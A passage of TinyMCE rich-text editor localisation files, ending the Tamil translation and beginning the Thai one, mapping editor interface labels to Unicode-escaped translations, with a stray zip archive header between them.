"\u0bb5\u0bb2\u0bae\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bc1
\u0b87\u0b9f\u0bae\u0bcd",
"Left to right":
"\u0b87\u0b9f\u0bae\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bc1
\u0bb5\u0bb2\u0bae\u0bcd",
"Emoticons":
"\u0b89\u0ba3\u0bb0\u0bcd\u0b9a\u0bcd\u0b9a\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bbf\u0bae\u0b99\u0bcd\u0b95\u0bb3\u0bcd",
"Robots":
"\u0baa\u0bca\u0bb1\u0bbf\u0baf\u0ba9\u0bcd\u0b95\u0bb3\u0bcd
(Robots)",
"Document properties":
"\u0b86\u0bb5\u0ba3\u0ba4\u0bcd\u0ba4\u0bbf\u0ba9\u0bcd
\u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Title": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Keywords":
"\u0bae\u0bc1\u0ba4\u0ba9\u0bcd\u0bae\u0bc8\u0b9a\u0bcd\u0b9a\u0bca\u0bb1\u0bcd\u0b95\u0bb3\u0bcd",
"Encoding":
"\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bbe\u0b95\u0bcd\u0b95\u0bae\u0bcd",
"Description": "\u0bb5\u0bbf\u0bb5\u0bb0\u0bae\u0bcd",
"Author":
"\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bbe\u0bb3\u0bb0\u0bcd",
"Fullscreen":
"\u0bae\u0bc1\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bbf\u0bb0\u0bc8",
"Horizontal line": "\u0b95\u0bbf\u0b9f\u0bc8
\u0b95\u0bcb\u0b9f\u0bc1",
"Horizontal space":
"\u0b95\u0bbf\u0b9f\u0bc8\u0bae\u0b9f\u0bcd\u0b9f
\u0b87\u0b9f\u0bc8\u0bb5\u0bc6\u0bb3\u0bbf",
"Insert\/edit image": "\u0baa\u0b9f\u0bae\u0bcd
\u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"General": "\u0baa\u0bca\u0ba4\u0bc1",
"Advanced":
"\u0bae\u0bc7\u0bae\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0ba4\u0bc1",
"Source": "\u0bae\u0bc2\u0bb2\u0bae\u0bcd",
"Border": "\u0b95\u0bb0\u0bc8",
"Constrain proportions":
"\u0bb5\u0bbf\u0b95\u0bbf\u0ba4\u0bbe\u0b9a\u0bcd\u0b9a\u0bbe\u0bb0\u0ba4\u0bcd\u0ba4\u0bbf\u0bb2\u0bcd
\u0b95\u0b9f\u0bcd\u0b9f\u0bc1\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Vertical space": "\u0ba8\u0bc6\u0b9f\u0bc1\u0ba4\u0bb3
\u0b87\u0b9f\u0bc8\u0bb5\u0bc6\u0bb3\u0bbf",
"Image description": "\u0baa\u0b9f
\u0bb5\u0bbf\u0bb5\u0bb0\u0bae\u0bcd",
"Style": "\u0baa\u0bbe\u0ba3\u0bbf",
"Dimensions":
"\u0baa\u0bb0\u0bbf\u0bae\u0bbe\u0ba3\u0b99\u0bcd\u0b95\u0bb3\u0bcd",
"Insert image": "\u0baa\u0b9f\u0bae\u0bcd
\u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Image": "\u0baa\u0b9f\u0bae\u0bcd",
"Zoom in":
"\u0baa\u0bc6\u0bb0\u0bbf\u0ba4\u0bbe\u0b95\u0bcd\u0b95\u0bc1",
"Contrast":
"\u0ba8\u0bbf\u0bb1\u0bae\u0bbe\u0bb1\u0bc1\u0baa\u0bbe\u0b9f\u0bc1",
"Back": "\u0baa\u0bbf\u0ba9\u0bcd",
"Gamma": "Gamma",
"Flip horizontally":
"\u0b95\u0bbf\u0b9f\u0bc8\u0bae\u0b9f\u0bcd\u0b9f\u0bae\u0bbe\u0b95
\u0baa\u0bc1\u0bb0\u0b9f\u0bcd\u0b9f\u0bc1",
"Resize":
"\u0bae\u0bb1\u0bc1\u0b85\u0bb3\u0bb5\u0bbf\u0b9f\u0bc1",
"Sharpen":
"\u0b95\u0bc2\u0bb0\u0bcd\u0bae\u0bc8\u0baf\u0bbe\u0b95\u0bcd\u0b95\u0bc1",
"Zoom out":
"\u0b9a\u0bbf\u0bb1\u0bbf\u0ba4\u0bbe\u0b95\u0bcd\u0b95\u0bc1",
"Image options": "\u0baa\u0b9f
\u0bb5\u0bbf\u0bb0\u0bc1\u0baa\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Apply":
"\u0baa\u0baf\u0ba9\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1",
"Brightness":
"\u0b92\u0bb3\u0bbf\u0bb0\u0bcd\u0bb5\u0bc1",
"Rotate clockwise":
"\u0b95\u0b9f\u0bbf\u0b95\u0bbe\u0bb0\u0ba4\u0bcd\u0ba4\u0bbf\u0b9a\u0bc8\u0baf\u0bbf\u0bb2\u0bcd
\u0b9a\u0bc1\u0bb4\u0bb1\u0bcd\u0bb1\u0bc1",
"Rotate counterclockwise":
"\u0b95\u0b9f\u0bbf\u0b95\u0bbe\u0bb0
\u0b8e\u0ba4\u0bbf\u0bb0\u0bcd\u0ba4\u0bbf\u0b9a\u0bc8\u0baf\u0bbf\u0bb2\u0bcd
\u0b9a\u0bc1\u0bb4\u0bb1\u0bcd\u0bb1\u0bc1",
"Edit image": "\u0baa\u0b9f\u0ba4\u0bcd\u0ba4\u0bc8
\u0ba4\u0bca\u0b95\u0bc1",
"Color levels": "\u0bb5\u0ba3\u0bcd\u0ba3
\u0ba8\u0bbf\u0bb2\u0bc8\u0b95\u0bb3\u0bcd",
"Crop":
"\u0b9a\u0bc6\u0ba4\u0bc1\u0b95\u0bcd\u0b95\u0bc1",
"Orientation":
"\u0ba4\u0bbf\u0b9a\u0bc8\u0baf\u0bae\u0bc8\u0bb5\u0bc1",
"Flip vertically":
"\u0b9a\u0bc6\u0b99\u0bcd\u0b95\u0bc1\u0ba4\u0bcd\u0ba4\u0bbe\u0b95
\u0baa\u0bc1\u0bb0\u0b9f\u0bcd\u0b9f\u0bc1",
"Invert":
"\u0ba8\u0bc7\u0bb0\u0bcd\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1",
"Date\/time":
"\u0ba4\u0bc7\u0ba4\u0bbf\/\u0ba8\u0bc7\u0bb0\u0bae\u0bcd",
"Insert date\/time":
"\u0ba4\u0bc7\u0ba4\u0bbf\/\u0ba8\u0bc7\u0bb0\u0bae\u0bcd
\u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Remove link": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc8
\u0b85\u0b95\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Url":
"\u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf",
"Text to display":
"\u0b95\u0bbe\u0b9f\u0bcd\u0b9a\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4
\u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bbf\u0baf \u0b89\u0bb0\u0bc8",
"Anchors":
"\u0ba8\u0b99\u0bcd\u0b95\u0bc2\u0bb0\u0b99\u0bcd\u0b95\u0bb3\u0bcd",
"Insert link": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1
\u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Link": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"New window": "\u0baa\u0bc1\u0ba4\u0bbf\u0baf
\u0b9a\u0bbe\u0bb3\u0bb0\u0bae\u0bcd",
"None":
"\u0b8f\u0ba4\u0bc1\u0bae\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?":
"\u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd
\u0b89\u0bb3\u0bcd\u0bb3\u0bbf\u0b9f\u0bcd\u0b9f
\u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf (URL)
\u0b92\u0bb0\u0bc1 \u0bb5\u0bc6\u0bb3\u0bbf\u0baa\u0bcd\u0baa\u0bc1\u0bb1
\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1 (external link)
\u0baa\u0bcb\u0bb2\u0bcd
\u0ba4\u0bcb\u0ba9\u0bcd\u0bb1\u0bc1\u0b95\u0bbf\u0bb1\u0ba4\u0bc1.
\u0ba4\u0bc7\u0bb5\u0bc8\u0baf\u0bbe\u0ba9 http:\/\/
\u0bae\u0bc1\u0ba9\u0bcd-\u0b92\u0b9f\u0bcd\u0b9f\u0bc8\u0ba4\u0bcd
(prefix) \u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd
\u0b9a\u0bc7\u0bb0\u0bcd\u0b95\u0bcd\u0b95
\u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bbe?",
"Paste or type a link": "\u0b92\u0bb0\u0bc1
\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1
\u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0b95 \u0b85\u0bb2\u0bcd\u0bb2\u0ba4\u0bc1
\u0ba4\u0b9f\u0bcd\u0b9f\u0b9a\u0bcd\u0b9a\u0bbf\u0b9f\u0bc1\u0b95",
"Target": "\u0b87\u0bb2\u0b95\u0bcd\u0b95\u0bc1",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?":
"\u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd
\u0b89\u0bb3\u0bcd\u0bb3\u0bbf\u0b9f\u0bcd\u0b9f
\u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf (URL)
\u0b92\u0bb0\u0bc1
\u0bae\u0bbf\u0ba9\u0bcd-\u0b85\u0b9e\u0bcd\u0b9a\u0bb2\u0bcd
\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf \u0baa\u0bcb\u0bb2\u0bcd
\u0ba4\u0bcb\u0ba9\u0bcd\u0bb1\u0bc1\u0b95\u0bbf\u0bb1\u0ba4\u0bc1.
\u0ba4\u0bc7\u0bb5\u0bc8\u0baf\u0bbe\u0ba9 mailto:
\u0bae\u0bc1\u0ba9\u0bcd-\u0b92\u0b9f\u0bcd\u0b9f\u0bc8\u0ba4\u0bcd
(prefix) \u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd
\u0b9a\u0bc7\u0bb0\u0bcd\u0b95\u0bcd\u0b95
\u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bbe?",
"Insert\/edit link":
"\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1
\u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Insert\/edit video": "\u0b95\u0bbe\u0ba3\u0bca\u0bb3\u0bbf
\u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Media": "\u0b8a\u0b9f\u0b95\u0bae\u0bcd",
"Alternative source": "\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1
\u0bae\u0bc2\u0bb2\u0bae\u0bcd",
"Paste your embed code below:":
"\u0ba4\u0b99\u0bcd\u0b95\u0bb3\u0bcd
\u0b89\u0b9f\u0bcd\u0baa\u0bc6\u0bbe\u0ba4\u0bbf
\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bcd\u0b9f\u0bc8
\u0b95\u0bc0\u0bb4\u0bc7
\u0b92\u0b9f\u0bcd\u0b9f\u0bb5\u0bc1\u0bae\u0bcd:",
"Insert video": "\u0b95\u0bbe\u0ba3\u0bca\u0bb3\u0bbf
\u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Poster":
"\u0b9a\u0bc1\u0bb5\u0bb0\u0bca\u0b9f\u0bcd\u0b9f\u0bbf",
"Insert\/edit media": "\u0b8a\u0b9f\u0b95\u0bae\u0bcd
\u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Embed": "\u0b89\u0b9f\u0bcd\u0baa\u0bca\u0ba4\u0bbf",
"Nonbreaking space":
"\u0baa\u0bbf\u0bb0\u0bbf\u0baf\u0bbe\u0ba4
\u0b87\u0b9f\u0bc8\u0bb5\u0bc6\u0bb3\u0bbf",
"Page break": "\u0baa\u0b95\u0bcd\u0b95
\u0baa\u0bbf\u0bb0\u0bbf\u0baa\u0bcd\u0baa\u0bc1",
"Paste as text": "\u0b89\u0bb0\u0bc8\u0baf\u0bbe\u0b95
\u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Preview":
"\u0bae\u0bc1\u0ba9\u0bcd\u0ba8\u0bcb\u0b95\u0bcd\u0b95\u0bc1",
"Print":
"\u0b85\u0b9a\u0bcd\u0b9a\u0bbf\u0b9f\u0bc1\u0b95",
"Save": "\u0b9a\u0bc7\u0bae\u0bbf\u0b95\u0bcd\u0b95",
"Could not find the specified string.":
"\u0b95\u0bc1\u0bb1\u0bbf\u0baa\u0bcd\u0baa\u0bbf\u0b9f\u0bcd\u0b9f
\u0b9a\u0bb0\u0bae\u0bcd
\u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0b95\u0bcd\u0b95
\u0bae\u0bc1\u0b9f\u0bbf\u0baf\u0bb5\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8",
"Replace":
"\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Next": "\u0b85\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4",
"Whole words": "\u0bae\u0bc1\u0bb4\u0bc1
\u0b9a\u0bca\u0bb1\u0bcd\u0b95\u0bb3\u0bcd",
"Find and replace":
"\u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0ba4\u0bcd\u0ba4\u0bc1
\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Replace with": "\u0b87\u0ba4\u0ba9\u0bc1\u0b9f\u0ba9\u0bcd
\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Find":
"\u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0b95\u0bcd\u0b95",
"Replace all":
"\u0b85\u0ba9\u0bc8\u0ba4\u0bcd\u0ba4\u0bc8\u0baf\u0bc1\u0bae\u0bcd
\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Match case":
"\u0bb5\u0b9f\u0bbf\u0bb5\u0ba4\u0bcd\u0ba4\u0bc8
\u0baa\u0bca\u0bb0\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Prev": "\u0bae\u0bc1\u0ba8\u0bcd\u0ba4\u0bc8\u0baf",
"Spellcheck":
"\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0baa\u0bcd\u0baa\u0bbf\u0bb4\u0bc8\u0baf\u0bc8
\u0b9a\u0bb0\u0bbf\u0baa\u0bbe\u0bb0\u0bcd\u0b95\u0bcd\u0b95",
"Finish": "\u0bae\u0bc1\u0b9f\u0bbf\u0b95\u0bcd\u0b95",
"Ignore all":
"\u0b85\u0ba9\u0bc8\u0ba4\u0bcd\u0ba4\u0bc8\u0baf\u0bc1\u0bae\u0bcd
\u0baa\u0bc1\u0bb1\u0b95\u0bcd\u0b95\u0ba3\u0bbf\u0b95\u0bcd\u0b95",
"Ignore":
"\u0baa\u0bc1\u0bb1\u0b95\u0bcd\u0b95\u0ba3\u0bbf\u0b95\u0bcd\u0b95",
"Add to Dictionary":
"\u0b85\u0b95\u0bb0\u0bbe\u0ba4\u0bbf\u0baf\u0bbf\u0bb2\u0bcd
\u0b9a\u0bc7\u0bb0\u0bcd\u0b95\u0bcd\u0b95",
"Insert row before": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1
\u0bae\u0bc1\u0ba9\u0bcd \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8
\u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Rows":
"\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0b95\u0bb3\u0bcd",
"Height": "\u0b89\u0baf\u0bb0\u0bae\u0bcd",
"Paste row after": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1
\u0baa\u0bbf\u0ba9\u0bcd \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8
\u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Alignment":
"\u0b9a\u0bc0\u0bb0\u0bae\u0bc8\u0bb5\u0bc1",
"Border color": "\u0b95\u0bb0\u0bc8\u0baf\u0bbf\u0ba9\u0bcd
\u0ba8\u0bbf\u0bb1\u0bae\u0bcd",
"Column group":
"\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8
\u0b95\u0bc1\u0bb4\u0bc1",
"Row": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8",
"Insert column before":
"\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1 \u0bae\u0bc1\u0ba9\u0bcd
\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8
\u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Split cell": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8
\u0baa\u0bbf\u0bb0\u0bbf\u0b95\u0bcd\u0b95",
"Cell padding": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8
\u0ba8\u0bbf\u0bb0\u0baa\u0bcd\u0baa\u0bb2\u0bcd",
"Cell spacing": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8
\u0b87\u0b9f\u0bc8\u0bb5\u0bc6\u0bb3\u0bbf",
"Row type": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8
\u0bb5\u0b95\u0bc8",
"Insert table": "\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8
\u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Body": "\u0b89\u0b9f\u0bb2\u0bcd",
"Caption":
"\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Footer":
"\u0b85\u0b9f\u0bbf\u0b95\u0bcd\u0b95\u0bc1\u0bb1\u0bbf\u0baa\u0bcd\u0baa\u0bc1",
"Delete row": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8
\u0ba8\u0bc0\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"Paste row before": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1
\u0bae\u0bc1\u0ba9\u0bcd \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8
\u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Scope":
"\u0bb5\u0bb0\u0bc8\u0baf\u0bc6\u0bb2\u0bcd\u0bb2\u0bc8",
"Delete table": "\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8
\u0ba8\u0bc0\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"H Align": "\u0b95\u0bbf (H)
\u0b9a\u0bc0\u0bb0\u0bae\u0bc8",
"Top": "\u0bae\u0bc7\u0bb2\u0bcd",
"Header cell": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1
\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8",
"Column":
"\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8",
"Row group": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8
\u0b95\u0bc1\u0bb4\u0bc1",
"Cell": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8",
"Middle": "\u0ba8\u0b9f\u0bc1",
"Cell type": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8
\u0bb5\u0b95\u0bc8",
"Copy row": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8
\u0ba8\u0b95\u0bb2\u0bc6\u0b9f\u0bc1\u0b95\u0bcd\u0b95",
"Row properties": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8
\u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Table properties":
"\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8
\u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Bottom": "\u0b95\u0bc0\u0bb4\u0bcd",
"V Align": "\u0b9a\u0bc6 (V)
\u0b9a\u0bc0\u0bb0\u0bae\u0bc8",
"Header": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Right": "\u0bb5\u0bb2\u0bae\u0bcd",
"Insert column after": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1
\u0baa\u0bbf\u0ba9\u0bcd
\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8
\u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Cols":
"\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0b95\u0bb3\u0bcd",
"Insert row after": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1
\u0baa\u0bbf\u0ba9\u0bcd \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8
\u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Width": "\u0b85\u0b95\u0bb2\u0bae\u0bcd",
"Cell properties":
"\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8
\u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Left": "\u0b87\u0b9f\u0bae\u0bcd",
"Cut row": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8
\u0bb5\u0bc6\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Delete column":
"\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8
\u0ba8\u0bc0\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"Center": "\u0bae\u0bc8\u0baf\u0bae\u0bcd",
"Merge cells":
"\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8\u0b95\u0bb3\u0bcd
\u0b9a\u0bc7\u0bb0\u0bcd\u0b95\u0bcd\u0b95",
"Insert template":
"\u0bb5\u0bbe\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bc1\u0bb0\u0bc1
\u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Templates":
"\u0bb5\u0bbe\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bc1\u0bb0\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bcd",
"Background color":
"\u0baa\u0bbf\u0ba9\u0bcd\u0ba9\u0ba3\u0bbf
\u0ba8\u0bbf\u0bb1\u0bae\u0bcd",
"Custom...":
"\u0ba4\u0ba9\u0bbf\u0baa\u0bcd\u0baa\u0baf\u0ba9\u0bcd...",
"Custom color":
"\u0ba4\u0ba9\u0bbf\u0baa\u0bcd\u0baa\u0baf\u0ba9\u0bcd
\u0ba8\u0bbf\u0bb1\u0bae\u0bcd",
"No color": "\u0ba8\u0bbf\u0bb1\u0bae\u0bcd
\u0b87\u0bb2\u0bcd\u0bb2\u0bc8",
"Text color": "\u0b89\u0bb0\u0bc8\u0baf\u0bbf\u0ba9\u0bcd
\u0ba8\u0bbf\u0bb1\u0bae\u0bcd",
"Table of Contents":
"\u0baa\u0bca\u0bb0\u0bc1\u0bb3\u0b9f\u0b95\u0bcd\u0b95\u0bae\u0bcd",
"Show blocks":
"\u0ba4\u0bca\u0b95\u0bc1\u0ba4\u0bbf\u0b95\u0bb3\u0bc8
\u0b95\u0bbe\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Show invisible characters":
"\u0b95\u0ba3\u0bcd\u0ba3\u0bc1\u0b95\u0bcd\u0b95\u0bc1\u0ba4\u0bcd
\u0ba4\u0bc6\u0bb0\u0bbf\u0baf\u0bbe\u0ba4
\u0b89\u0bb0\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bc8
\u0b95\u0bbe\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Words: {0}": "\u0b9a\u0bca\u0bb1\u0bcd\u0b95\u0bb3\u0bcd:
{0}",
"Insert": "\u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"File": "\u0b95\u0bcb\u0baa\u0bcd\u0baa\u0bc1",
"Edit": "\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "\u0b89\u0baf\u0bb0\u0bcd
\u0b89\u0bb0\u0bc8 \u0baa\u0b95\u0bc1\u0ba4\u0bbf.
\u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0b95\u0bcd\u0b95\u0bc1 ALT-F9 ,
\u0b95\u0bb0\u0bc1\u0bb5\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0bc8\u0b95\u0bcd\u0b95\u0bc1
ALT-F10 , \u0b89\u0ba4\u0bb5\u0bbf\u0b95\u0bcd\u0b95\u0bc1 ALT-0",
"Tools":
"\u0b95\u0bb0\u0bc1\u0bb5\u0bbf\u0b95\u0bb3\u0bcd",
"View": "\u0ba8\u0bcb\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"Table": "\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8",
"Format":
"\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0baa\u0bcd\u0baa\u0bc1"
});PKR��[@Z#�N�Ntinymce/langs/th.jsnu�[���tinymce.addI18n('th',{
"Cut": "\u0e15\u0e31\u0e14",
"Heading 5":
"\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07 5",
"Header 2": "\u0e2a\u0e48\u0e27\u0e19\u0e2b\u0e31\u0e27
2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u0e40\u0e1a\u0e23\u0e32\u0e27\u0e4c\u0e40\u0e0b\u0e2d\u0e23\u0e4c\u0e02\u0e2d\u0e07\u0e04\u0e38\u0e13\u0e44\u0e21\u0e48\u0e2a\u0e19\u0e31\u0e1a\u0e2a\u0e19\u0e38\u0e19\u0e01\u0e32\u0e23\u0e40\u0e02\u0e49\u0e32\u0e16\u0e36\u0e07\u0e42\u0e14\u0e22\u0e15\u0e23\u0e07\u0e44\u0e1b\u0e22\u0e31\u0e07\u0e04\u0e25\u0e34\u0e1b\u0e1a\u0e2d\u0e23\u0e4c\u0e14
\u0e01\u0e23\u0e38\u0e13\u0e32\u0e43\u0e0a\u0e49\u0e41\u0e1b\u0e49\u0e19\u0e1e\u0e34\u0e21\u0e1e\u0e4c\u0e25\u0e31\u0e14
Ctrl+X\/C\/V \u0e41\u0e17\u0e19",
"Heading 4":
"\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07 4",
"Div": "Div",
"Heading 2":
"\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e37\u0e48\u0e2d\u0e07 2",
"Paste": "\u0e27\u0e32\u0e07",
"Close": "\u0e1b\u0e34\u0e14",
"Font Family":
"\u0e15\u0e23\u0e30\u0e01\u0e39\u0e25\u0e41\u0e1a\u0e1a\u0e2d\u0e31\u0e01\u0e29\u0e23",
"Pre": "\u0e01\u0e48\u0e2d\u0e19",
"Align right":
"\u0e08\u0e31\u0e14\u0e0a\u0e34\u0e14\u0e02\u0e27\u0e32",
"New document":
"\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23\u0e43\u0e2b\u0e21\u0e48",
"Blockquote":
"\u0e22\u0e01\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e17\u0e31\u0e49\u0e07\u0e22\u0e48\u0e2d\u0e2b\u0e19\u0e49\u0e32",
"Numbered list":
"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e25\u0e33\u0e14\u0e31\u0e1a\u0e40\u0e25\u0e02",
"Heading 1":
